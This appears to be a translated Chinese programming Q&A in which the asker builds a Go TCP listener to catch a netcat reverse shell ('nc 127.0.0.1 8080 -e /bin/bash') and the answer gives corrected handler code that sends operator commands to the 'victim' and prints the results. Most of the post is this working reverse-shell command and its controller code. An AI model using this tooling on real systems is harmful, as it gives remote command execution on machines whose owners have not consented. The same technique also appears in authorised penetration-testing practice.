我正在Go中使用TCP服务器。 TCP服务器必须能够从netcat捕获反向shell:
$ nc 127.0.0.1 8080 -e /bin/bash
我应该能够发送命令并接收响应;但是,我的服务器在收到连接后似乎只是挂起。
我认为问题出在bufio.NewReader(conn).ReadString('\ n')行,但我不知道如何解决。
请提供任何解决方案,谢谢!
服务器代码(注意:为简便起见,省略了错误处理):
func main() {
ln, _ := net.Listen("tcp", "127.0.0.1:8080")
for {
conn, _ := ln.Accept()
handleConn(conn)
}
}
func handleConn(conn net.Conn) {
for {
// Receive data from netcat victim
data, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(data)
// Read command from Stdin then send to netcat victim
reader := bufio.NewReader(os.Stdin)
cmd, _ := reader.ReadString('\n')
fmt.Fprintln(conn, cmd)
}
}
答案 0 :(得分:1)
发布问题后,我立即解决了我的问题(噢!)。 无论如何,解决方案很简单:颠倒读写逻辑。 之后,一切都按预期进行。
这是固定代码:
func handleConn(conn net.Conn) {
fmt.Println("Connection received.")
for {
// Read command from Stdin and send to victim
reader := bufio.NewReader(os.Stdin)
cmd, _ := reader.ReadString('\n')
fmt.Fprintln(conn, cmd)
// Receive input from connection
data, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(data)
}
}